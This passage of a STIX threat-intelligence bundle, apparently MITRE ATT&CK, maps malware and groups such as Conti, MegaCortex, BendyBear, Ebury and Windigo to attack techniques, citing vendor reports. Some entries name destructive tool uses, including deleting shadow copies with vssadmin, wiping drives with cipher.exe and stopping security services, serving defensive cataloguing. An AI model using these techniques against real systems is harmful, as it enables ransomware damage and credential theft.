                    "description": "Bilodeau, O., Bureau, M., Calvet, J., Dorais-Joncas, A., L\u00e9veill\u00e9, M., Vanheuverzwijn, B. (2014, March 18). Operation Windigo \u2013 the vivisection of a large Linux server\u2011side credential\u2011stealing malware campaign. Retrieved February 10, 2021."
                }
            ],
            "description": "[Ebury](https://attack.mitre.org/software/S0377) can automatically exfiltrate gathered SSH credentials.(Citation: ESET Windigo Mar 2014)",
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            "id": "relationship--6ff6558d-3efb-4219-8d47-ecf82755ccf1",
            "type": "relationship",
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                {
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                    "description": "Bilodeau, O., Bureau, M., Calvet, J., Dorais-Joncas, A., L\u00e9veill\u00e9, M., Vanheuverzwijn, B. (2014, March 18). Operation Windigo \u2013 the vivisection of a large Linux server\u2011side credential\u2011stealing malware campaign. Retrieved February 10, 2021."
                }
            ],
            "description": "[Ebury](https://attack.mitre.org/software/S0377) can exfiltrate SSH credentials through custom DNS queries.(Citation: ESET Windigo Mar 2014)",
            "relationship_type": "uses",
            "id": "relationship--e6ce13c0-7a23-4974-bacc-187eedd9c6da",
            "type": "relationship",
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            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
            "external_references": [
                {
                    "source_name": "ESET ForSSHe December 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf",
                    "description": "Dumont, R., M.L\u00e9veill\u00e9, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."
                }
            ],
            "description": "[Windigo](https://attack.mitre.org/groups/G0124) has used a script to gather credentials in files left on disk by OpenSSH backdoors.(Citation: ESET ForSSHe December 2018)",
            "relationship_type": "uses",
            "id": "relationship--24b8eeb2-ee0d-402b-b2e0-afaa3c867072",
            "type": "relationship",
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            ],
            "source_ref": "intrusion-set--4e868dad-682d-4897-b8df-2dc98f46c68a",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "external_references": [
                {
                    "source_name": "ESET ForSSHe December 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf",
                    "description": "Dumont, R., M.L\u00e9veill\u00e9, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."
                }
            ],
            "description": "[Windigo](https://attack.mitre.org/groups/G0124) has used a script to check for the presence of files created by OpenSSH backdoors.(Citation: ESET ForSSHe December 2018)",
            "relationship_type": "uses",
            "id": "relationship--e2116500-b22a-44f6-ad5b-c3e579a67491",
            "type": "relationship",
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            "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830",
            "external_references": [
                {
                    "source_name": "ESET ForSSHe December 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf",
                    "description": "Dumont, R., M.L\u00e9veill\u00e9, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."
                }
            ],
            "description": "[Windigo](https://attack.mitre.org/groups/G0124) has used a Perl script for information gathering.(Citation: ESET ForSSHe December 2018)",
            "relationship_type": "uses",
            "id": "relationship--bea0bf7c-62c8-4334-b523-5cc6ec8b36c8",
            "type": "relationship",
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            "target_ref": "attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58",
            "external_references": [
                {
                    "source_name": "ESET ForSSHe December 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf",
                    "description": "Dumont, R., M.L\u00e9veill\u00e9, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."
                }
            ],
            "description": "[Windigo](https://attack.mitre.org/groups/G0124) has used a script to detect installed software on targeted systems.(Citation: ESET ForSSHe December 2018)",
            "relationship_type": "uses",
            "id": "relationship--39c98d86-3f44-4a47-b7e5-4cb3e4bf97a7",
            "type": "relationship",
            "modified": "2021-02-11T17:32:31.984Z",
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        },
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            ],
            "source_ref": "intrusion-set--4e868dad-682d-4897-b8df-2dc98f46c68a",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "external_references": [
                {
                    "source_name": "ESET ForSSHe December 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf",
                    "description": "Dumont, R., M.L\u00e9veill\u00e9, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."
                }
            ],
            "description": "[Windigo](https://attack.mitre.org/groups/G0124) has used a script to detect which Linux distribution and version is currently installed on the system.(Citation: ESET ForSSHe December 2018)",
            "relationship_type": "uses",
            "id": "relationship--06ae1d46-2349-457e-817b-e9fdca2f7768",
            "type": "relationship",
            "modified": "2021-04-26T21:58:31.745Z",
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        {
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            "object_marking_refs": [
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            ],
            "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31",
            "target_ref": "attack-pattern--451a9977-d255-43c9-b431-66de80130c8c",
            "relationship_type": "mitigates",
            "description": "Disable Wake-on-LAN if it is not needed within an environment.",
            "id": "relationship--c2a79396-f264-4439-94f1-113e3bf3a6be",
            "type": "relationship",
            "modified": "2021-02-17T14:23:49.782Z",
            "created": "2021-02-16T20:04:52.503Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--805480f1-6caa-4a67-8ca9-b2b39650d986",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "external_references": [
                {
                    "source_name": "Unit42 BendyBear Feb 2021",
                    "url": "https://unit42.paloaltonetworks.com/bendybear-shellcode-blacktech/",
                    "description": "Harbison, M. (2021, February 9). BendyBear: Novel Chinese Shellcode Linked With Cyber Espionage Group BlackTech. Retrieved February 16, 2021."
                }
            ],
            "description": "[BendyBear](https://attack.mitre.org/software/S0574) has decrypted function blocks using a XOR key during runtime to evade detection.(Citation: Unit42 BendyBear Feb 2021)",
            "relationship_type": "uses",
            "id": "relationship--045da2d4-f599-447b-931b-c11e8692fa1c",
            "type": "relationship",
            "modified": "2021-04-20T19:17:58.037Z",
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        },
        {
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            "source_ref": "malware--805480f1-6caa-4a67-8ca9-b2b39650d986",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "external_references": [
                {
                    "source_name": "Unit42 BendyBear Feb 2021",
                    "url": "https://unit42.paloaltonetworks.com/bendybear-shellcode-blacktech/",
                    "description": "Harbison, M. (2021, February 9). BendyBear: Novel Chinese Shellcode Linked With Cyber Espionage Group BlackTech. Retrieved February 16, 2021."
                }
            ],
            "description": "[BendyBear](https://attack.mitre.org/software/S0574) is designed to download an implant from a C2 server.(Citation: Unit42 BendyBear Feb 2021)",
            "relationship_type": "uses",
            "id": "relationship--0f55c28a-835f-4a85-a733-8fac5b819dcf",
            "type": "relationship",
            "modified": "2021-04-20T19:17:58.035Z",
            "created": "2021-02-16T20:13:27.837Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--805480f1-6caa-4a67-8ca9-b2b39650d986",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "external_references": [
                {
                    "source_name": "Unit42 BendyBear Feb 2021",
                    "url": "https://unit42.paloaltonetworks.com/bendybear-shellcode-blacktech/",
                    "description": "Harbison, M. (2021, February 9). BendyBear: Novel Chinese Shellcode Linked With Cyber Espionage Group BlackTech. Retrieved February 16, 2021."
                }
            ],
            "description": "[BendyBear](https://attack.mitre.org/software/S0574) has encrypted payloads using RC4 and XOR.(Citation: Unit42 BendyBear Feb 2021)",
            "relationship_type": "uses",
            "id": "relationship--9d0eda8b-7696-4b22-a31e-6761e42bc2ae",
            "type": "relationship",
            "modified": "2021-04-20T19:17:58.110Z",
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        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--805480f1-6caa-4a67-8ca9-b2b39650d986",
            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
            "external_references": [
                {
                    "source_name": "Unit42 BendyBear Feb 2021",
                    "url": "https://unit42.paloaltonetworks.com/bendybear-shellcode-blacktech/",
                    "description": "Harbison, M. (2021, February 9). BendyBear: Novel Chinese Shellcode Linked With Cyber Espionage Group BlackTech. Retrieved February 16, 2021."
                }
            ],
            "description": "[BendyBear](https://attack.mitre.org/software/S0574) can query the host's Registry key at <code>HKEY_CURRENT_USER\\Console\\QuickEdit</code> to retrieve data.(Citation: Unit42 BendyBear Feb 2021)",
            "relationship_type": "uses",
            "id": "relationship--9753bc87-1ed3-4a28-a9d3-80e004d83e62",
            "type": "relationship",
            "modified": "2021-04-20T19:17:58.209Z",
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        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--805480f1-6caa-4a67-8ca9-b2b39650d986",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "external_references": [
                {
                    "source_name": "Unit42 BendyBear Feb 2021",
                    "url": "https://unit42.paloaltonetworks.com/bendybear-shellcode-blacktech/",
                    "description": "Harbison, M. (2021, February 9). BendyBear: Novel Chinese Shellcode Linked With Cyber Espionage Group BlackTech. Retrieved February 16, 2021."
                }
            ],
            "description": "[BendyBear](https://attack.mitre.org/software/S0574) communicates to a C2 server over port 443 using modified RC4 and XOR-encrypted chunks.(Citation: Unit42 BendyBear Feb 2021) ",
            "relationship_type": "uses",
            "id": "relationship--96fad0c2-f880-4fab-8aee-5573e1737dd8",
            "type": "relationship",
            "modified": "2021-04-21T13:20:13.603Z",
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        },
        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--805480f1-6caa-4a67-8ca9-b2b39650d986",
            "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670",
            "external_references": [
                {
                    "source_name": "Unit42 BendyBear Feb 2021",
                    "url": "https://unit42.paloaltonetworks.com/bendybear-shellcode-blacktech/",
                    "description": "Harbison, M. (2021, February 9). BendyBear: Novel Chinese Shellcode Linked With Cyber Espionage Group BlackTech. Retrieved February 16, 2021."
                }
            ],
            "description": "[BendyBear](https://attack.mitre.org/software/S0574) can load and execute modules and Windows Application Programming (API) calls using standard shellcode API hashing.(Citation: Unit42 BendyBear Feb 2021)",
            "relationship_type": "uses",
            "id": "relationship--a33dbef1-994b-4dec-accb-6e63e9858f3e",
            "type": "relationship",
            "modified": "2021-04-21T13:20:13.624Z",
            "created": "2021-02-17T17:19:51.250Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--4dea7d8e-af94-4bfb-afe4-7ff54f59308b",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "external_references": [
                {
                    "source_name": "CarbonBlack Conti July 2020",
                    "url": "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/",
                    "description": "Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021."
                }
            ],
            "description": "[Conti](https://attack.mitre.org/software/S0575) can enumerate through all open processes to search for any that have the string \u201csql\u201d in their process name.(Citation: CarbonBlack Conti July 2020)",
            "relationship_type": "uses",
            "id": "relationship--eacc205b-b8f9-4427-b8bd-3eba5a5a6179",
            "type": "relationship",
            "modified": "2021-02-17T19:22:30.841Z",
            "created": "2021-02-17T19:22:30.841Z"
        },
        {
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            "external_references": [
                {
                    "source_name": "CarbonBlack Conti July 2020",
                    "url": "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/",
                    "description": "Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021."
                }
            ],
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            "external_references": [
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                    "source_name": "Cybereason Conti Jan 2021",
                    "url": "https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware",
                    "description": "Rochberger, L. (2021, January 12). Cybereason vs. Conti Ransomware. Retrieved February 17, 2021."
                },
                {
                    "source_name": "CarbonBlack Conti July 2020",
                    "url": "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/",
                    "description": "Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021."
                }
            ],
            "description": "[Conti](https://attack.mitre.org/software/S0575) has loaded an encrypted DLL into memory and then executes it.(Citation: Cybereason Conti Jan 2021)(Citation: CarbonBlack Conti July 2020)",
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            "external_references": [
                {
                    "source_name": "CarbonBlack Conti July 2020",
                    "url": "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/",
                    "description": "Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021."
                }
            ],
            "description": "[Conti](https://attack.mitre.org/software/S0575) can utilize command line options to allow an attacker control over how it scans and encrypts files.(Citation: CarbonBlack Conti July 2020)",
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            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "external_references": [
                {
                    "source_name": "Cybereason Conti Jan 2021",
                    "url": "https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware",
                    "description": "Rochberger, L. (2021, January 12). Cybereason vs. Conti Ransomware. Retrieved February 17, 2021."
                },
                {
                    "source_name": "CarbonBlack Conti July 2020",
                    "url": "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/",
                    "description": "Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021."
                }
            ],
            "description": "[Conti](https://attack.mitre.org/software/S0575) has decrypted its payload using a hardcoded AES-256 key.(Citation: Cybereason Conti Jan 2021)(Citation: CarbonBlack Conti July 2020)",
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            "id": "relationship--2ca546e0-6a3f-4a9f-82c3-2e41ffa67b79",
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            "external_references": [
                {
                    "source_name": "Cybereason Conti Jan 2021",
                    "url": "https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware",
                    "description": "Rochberger, L. (2021, January 12). Cybereason vs. Conti Ransomware. Retrieved February 17, 2021."
                },
                {
                    "source_name": "CarbonBlack Conti July 2020",
                    "url": "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/",
                    "description": "Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021."
                }
            ],
            "description": "[Conti](https://attack.mitre.org/software/S0575) can spread itself by infecting other remote machines via network shared drives.(Citation: Cybereason Conti Jan 2021)(Citation: CarbonBlack Conti July 2020) ",
            "relationship_type": "uses",
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            "external_references": [
                {
                    "source_name": "Cybereason Conti Jan 2021",
                    "url": "https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware",
                    "description": "Rochberger, L. (2021, January 12). Cybereason vs. Conti Ransomware. Retrieved February 17, 2021."
                },
                {
                    "source_name": "CarbonBlack Conti July 2020",
                    "url": "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/",
                    "description": "Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021."
                },
                {
                    "source_name": "Cybleinc Conti January 2020",
                    "url": "https://cybleinc.com/2021/01/21/conti-ransomware-resurfaces-targeting-government-large-organizations/",
                    "description": "Cybleinc. (2021, January 21). Conti Ransomware Resurfaces, Targeting Government & Large Organizations. Retrieved April 13, 2021."
                }
            ],
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            "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541",
            "external_references": [
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                    "source_name": "Cybereason Conti Jan 2021",
                    "url": "https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware",
                    "description": "Rochberger, L. (2021, January 12). Cybereason vs. Conti Ransomware. Retrieved February 17, 2021."
                },
                {
                    "source_name": "CarbonBlack Conti July 2020",
                    "url": "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/",
                    "description": "Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021."
                }
            ],
            "description": "[Conti](https://attack.mitre.org/software/S0575) can spread via SMB and encrypts files on different hosts, potentially compromising an entire network.(Citation: Cybereason Conti Jan 2021)(Citation: CarbonBlack Conti July 2020)",
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                    "url": "https://securityintelligence.com/posts/from-mega-to-giga-cross-version-comparison-of-top-megacortex-modifications/",
                    "description": "Del Fierro, C. Kessem, L.. (2020, January 8). From Mega to Giga: Cross-Version Comparison of Top MegaCortex Modifications. Retrieved February 15, 2021."
                }
            ],
            "description": "[MegaCortex](https://attack.mitre.org/software/S0576) has used <code>rundll32.exe</code> to load a DLL for file encryption.(Citation: IBM MegaCortex)",
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            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "external_references": [
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                    "url": "https://securityintelligence.com/posts/from-mega-to-giga-cross-version-comparison-of-top-megacortex-modifications/",
                    "description": "Del Fierro, C. Kessem, L.. (2020, January 8). From Mega to Giga: Cross-Version Comparison of Top MegaCortex Modifications. Retrieved February 15, 2021."
                }
            ],
            "description": "[MegaCortex](https://attack.mitre.org/software/S0576) has used a Base64 key to decode its components.(Citation: IBM MegaCortex)",
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            "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48",
            "external_references": [
                {
                    "source_name": "IBM MegaCortex",
                    "url": "https://securityintelligence.com/posts/from-mega-to-giga-cross-version-comparison-of-top-megacortex-modifications/",
                    "description": "Del Fierro, C. Kessem, L.. (2020, January 8). From Mega to Giga: Cross-Version Comparison of Top MegaCortex Modifications. Retrieved February 15, 2021."
                }
            ],
            "description": "[MegaCortex](https://attack.mitre.org/software/S0576) can enable <code>SeDebugPrivilege</code> and adjust token privileges.(Citation: IBM MegaCortex)",
            "relationship_type": "uses",
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                    "description": "Del Fierro, C. Kessem, L.. (2020, January 8). From Mega to Giga: Cross-Version Comparison of Top MegaCortex Modifications. Retrieved February 15, 2021."
                }
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            "description": "After escalating privileges, [MegaCortex](https://attack.mitre.org/software/S0576) calls <code>TerminateProcess()</code>, <code>CreateRemoteThread</code>, and other Win32 APIs.(Citation: IBM MegaCortex)",
            "relationship_type": "uses",
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                    "url": "https://securityintelligence.com/posts/from-mega-to-giga-cross-version-comparison-of-top-megacortex-modifications/",
                    "description": "Del Fierro, C. Kessem, L.. (2020, January 8). From Mega to Giga: Cross-Version Comparison of Top MegaCortex Modifications. Retrieved February 15, 2021."
                }
            ],
            "description": "[MegaCortex](https://attack.mitre.org/software/S0576) has deleted volume shadow copies using <code>vssadmin.exe</code>.(Citation: IBM MegaCortex)",
            "relationship_type": "uses",
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            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "external_references": [
                {
                    "source_name": "IBM MegaCortex",
                    "url": "https://securityintelligence.com/posts/from-mega-to-giga-cross-version-comparison-of-top-megacortex-modifications/",
                    "description": "Del Fierro, C. Kessem, L.. (2020, January 8). From Mega to Giga: Cross-Version Comparison of Top MegaCortex Modifications. Retrieved February 15, 2021."
                }
            ],
            "description": "[MegaCortex](https://attack.mitre.org/software/S0576) has added entries to the Registry for ransom contact information.(Citation: IBM MegaCortex)",
            "relationship_type": "uses",
            "id": "relationship--83d63b2b-f287-4047-bbe4-82c8b100222a",
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        },
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            "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945",
            "external_references": [
                {
                    "source_name": "IBM MegaCortex",
                    "url": "https://securityintelligence.com/posts/from-mega-to-giga-cross-version-comparison-of-top-megacortex-modifications/",
                    "description": "Del Fierro, C. Kessem, L.. (2020, January 8). From Mega to Giga: Cross-Version Comparison of Top MegaCortex Modifications. Retrieved February 15, 2021."
                }
            ],
            "description": "[MegaCortex](https://attack.mitre.org/software/S0576) loads <code>injecthelper.dll</code> into a newly created <code>rundll32.exe</code> process.(Citation: IBM MegaCortex)",
            "relationship_type": "uses",
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            "source_ref": "malware--909617c3-6d87-4330-8f32-bd3af38c3b92",
            "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579",
            "external_references": [
                {
                    "source_name": "IBM MegaCortex",
                    "url": "https://securityintelligence.com/posts/from-mega-to-giga-cross-version-comparison-of-top-megacortex-modifications/",
                    "description": "Del Fierro, C. Kessem, L.. (2020, January 8). From Mega to Giga: Cross-Version Comparison of Top MegaCortex Modifications. Retrieved February 15, 2021."
                }
            ],
            "description": "[MegaCortex](https://attack.mitre.org/software/S0576) was used to kill endpoint security processes.(Citation: IBM MegaCortex)",
            "relationship_type": "uses",
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            "source_ref": "malware--909617c3-6d87-4330-8f32-bd3af38c3b92",
            "target_ref": "attack-pattern--e7cbc1de-1f79-48ee-abfd-da1241c65a15",
            "external_references": [
                {
                    "source_name": "IBM MegaCortex",
                    "url": "https://securityintelligence.com/posts/from-mega-to-giga-cross-version-comparison-of-top-megacortex-modifications/",
                    "description": "Del Fierro, C. Kessem, L.. (2020, January 8). From Mega to Giga: Cross-Version Comparison of Top MegaCortex Modifications. Retrieved February 15, 2021."
                }
            ],
            "description": "[MegaCortex](https://attack.mitre.org/software/S0576) has used code signing certificates issued to fake companies to bypass security controls.(Citation: IBM MegaCortex)",
            "relationship_type": "uses",
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            "external_references": [
                {
                    "source_name": "IBM MegaCortex",
                    "url": "https://securityintelligence.com/posts/from-mega-to-giga-cross-version-comparison-of-top-megacortex-modifications/",
                    "description": "Del Fierro, C. Kessem, L.. (2020, January 8). From Mega to Giga: Cross-Version Comparison of Top MegaCortex Modifications. Retrieved February 15, 2021."
                }
            ],
            "description": "[MegaCortex](https://attack.mitre.org/software/S0576) has changed user account passwords and logged users off the system.(Citation: IBM MegaCortex)",
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            "id": "relationship--46250897-5a79-4401-b965-da8115a60d7f",
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            "target_ref": "attack-pattern--fb640c43-aa6b-431e-a961-a279010424ac",
            "external_references": [
                {
                    "source_name": "IBM MegaCortex",
                    "url": "https://securityintelligence.com/posts/from-mega-to-giga-cross-version-comparison-of-top-megacortex-modifications/",
                    "description": "Del Fierro, C. Kessem, L.. (2020, January 8). From Mega to Giga: Cross-Version Comparison of Top MegaCortex Modifications. Retrieved February 15, 2021."
                }
            ],
            "description": "[MegaCortex](https://attack.mitre.org/software/S0576) can wipe deleted data from all drives using <code>cipher.exe</code>.(Citation: IBM MegaCortex)",
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            "external_references": [
                {
                    "source_name": "IBM MegaCortex",
                    "url": "https://securityintelligence.com/posts/from-mega-to-giga-cross-version-comparison-of-top-megacortex-modifications/",
                    "description": "Del Fierro, C. Kessem, L.. (2020, January 8). From Mega to Giga: Cross-Version Comparison of Top MegaCortex Modifications. Retrieved February 15, 2021."
                },
                {
                    "source_name": "mbed-crypto",
                    "url": "https://github.com/ARMmbed/mbed-crypto",
                    "description": "ARMmbed. (2018, June 21). Mbed Crypto. Retrieved February 15, 2021."
                }
            ],
            "description": "[MegaCortex](https://attack.mitre.org/software/S0576) has used the open-source library, Mbed Crypto, and generated AES keys to carry out the file encryption process.(Citation: IBM MegaCortex)(Citation: mbed-crypto)",
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            "type": "relationship",
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            ],
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            "target_ref": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a",
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                {
                    "source_name": "CarbonBlack Conti July 2020",
                    "url": "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/",
                    "description": "Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021."
                }
            ],
            "description": "[Conti](https://attack.mitre.org/software/S0575) can delete Windows Volume Shadow Copies using <code>vssadmin</code>.(Citation: CarbonBlack Conti July 2020)",
            "relationship_type": "uses",
            "id": "relationship--9e22871c-2e16-4c81-903c-e081c140f7a2",
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            "target_ref": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b",
            "external_references": [
                {
                    "source_name": "CarbonBlack Conti July 2020",
                    "url": "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/",
                    "description": "Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021."
                }
            ],
            "description": "[Conti](https://attack.mitre.org/software/S0575) can stop up to 146 Windows services related to security, backup, database, and email solutions through the use of <code>net stop</code>.(Citation: CarbonBlack Conti July 2020)",
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            "type": "relationship",
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            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "external_references": [
                {
                    "source_name": "Guidepoint SUPERNOVA Dec 2020",
                    "url": "https://www.guidepointsecurity.com/supernova-solarwinds-net-webshell-analysis/",
                    "description": "Riley, W. (2020, December 1). SUPERNOVA SolarWinds .NET Webshell Analysis. Retrieved February 18, 2021."
                },
                {
                    "source_name": "Unit42 SUPERNOVA Dec 2020",
                    "url": "https://unit42.paloaltonetworks.com/solarstorm-supernova/",
                    "description": "Tennis, M. (2020, December 17). SUPERNOVA: A Novel .NET Webshell. Retrieved February 22, 2021."
                }
            ],
            "description": "[SUPERNOVA](https://attack.mitre.org/software/S0578) had to receive an HTTP GET request containing a specific set of parameters in order to execute.(Citation: Guidepoint SUPERNOVA Dec 2020)(Citation: Unit42 SUPERNOVA Dec 2020)",
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            ],
            "source_ref": "malware--b2b0b946-be0a-4a7f-9c32-a2e5211d1cd9",
            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "external_references": [
                {
                    "source_name": "Guidepoint SUPERNOVA Dec 2020",
                    "url": "https://www.guidepointsecurity.com/supernova-solarwinds-net-webshell-analysis/",
                    "description": "Riley, W. (2020, December 1). SUPERNOVA SolarWinds .NET Webshell Analysis. Retrieved February 18, 2021."
                },
                {
                    "source_name": "Unit42 SUPERNOVA Dec 2020",
                    "url": "https://unit42.paloaltonetworks.com/solarstorm-supernova/",
                    "description": "Tennis, M. (2020, December 17). SUPERNOVA: A Novel .NET Webshell. Retrieved February 22, 2021."
                }
            ],
            "description": "[SUPERNOVA](https://attack.mitre.org/software/S0578) has masqueraded as a legitimate SolarWinds DLL.(Citation: Guidepoint SUPERNOVA Dec 2020)(Citation: Unit42 SUPERNOVA Dec 2020)",
            "relationship_type": "uses",
            "id": "relationship--8b345565-9a36-4b4a-ace5-b4c50ea894ca",
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            ],
            "source_ref": "attack-pattern--7e7c2fba-7cca-486c-9582-4c1bb2851961",
            "target_ref": "attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7",
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            "type": "relationship",
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        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--a020a61c-423f-4195-8c46-ba1d21abba37",
            "target_ref": "attack-pattern--451a9977-d255-43c9-b431-66de80130c8c",
            "external_references": [
                {
                    "source_name": "Bleeping Computer - Ryuk WoL",
                    "url": "https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/",
                    "description": "Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan To Encrypt Offline Devices. Retrieved February 11, 2021."
                }
            ],
            "description": "[Ryuk](https://attack.mitre.org/software/S0446) has used Wake-on-Lan to power on turned off systems for lateral movement.(Citation: Bleeping Computer - Ryuk WoL)",
            "relationship_type": "uses",
            "id": "relationship--9fb463af-4ad8-48b5-89cf-68bac34a68d7",
            "type": "relationship",
            "modified": "2021-02-22T14:47:28.044Z",
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        {
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            ],
            "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d",
            "target_ref": "attack-pattern--7e7c2fba-7cca-486c-9582-4c1bb2851961",
            "external_references": [
                {
                    "source_name": "TrendMicro TA505 Aug 2019",
                    "url": "https://www.trendmicro.com/en_us/research/19/h/ta505-at-it-again-variety-is-the-spice-of-servhelper-and-flawedammyy.html",
                    "description": "Trend Micro. (2019, August 27). TA505: Variety in Use of ServHelper and FlawedAmmyy. Retrieved February 22, 2021."
                }
            ],
            "description": "[TA505](https://attack.mitre.org/groups/G0092) has used .iso files to deploy malicious .lnk files.(Citation: TrendMicro TA505 Aug 2019)",
            "relationship_type": "uses",
            "id": "relationship--246e66e1-ddd2-4e51-b54c-1579f6ea1626",
            "type": "relationship",
            "modified": "2021-02-22T14:32:48.528Z",
            "created": "2021-02-22T14:32:48.528Z"
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        {
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            ],
            "source_ref": "malware--f3f1fbed-7e29-49cb-8579-4a378f858deb",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "external_references": [
                {
                    "source_name": "Trend Micro Waterbear December 2019",
                    "url": "https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html",
                    "description": "Su, V. et al. (2019, December 11). Waterbear Returns, Uses API Hooking to Evade Security. Retrieved February 22, 2021."
                }
            ],
            "description": "[Waterbear](https://attack.mitre.org/software/S0579) can receive and load executables from remote C2 servers.(Citation: Trend Micro Waterbear December 2019)",
            "relationship_type": "uses",
            "id": "relationship--5c3a903f-5934-48ec-84da-e88e0d1b4e68",
            "type": "relationship",
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        {
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            "source_ref": "malware--f3f1fbed-7e29-49cb-8579-4a378f858deb",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "external_references": [
                {
                    "source_name": "Trend Micro Waterbear December 2019",
                    "url": "https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html",
                    "description": "Su, V. et al. (2019, December 11). Waterbear Returns, Uses API Hooking to Evade Security. Retrieved February 22, 2021."
                }
            ],
            "description": "[Waterbear](https://attack.mitre.org/software/S0579) has the ability to decrypt its RC4 encrypted payload for execution.(Citation: Trend Micro Waterbear December 2019)",
            "relationship_type": "uses",
            "id": "relationship--6e73108a-836f-47ad-b88a-6b9a70ebcb7b",
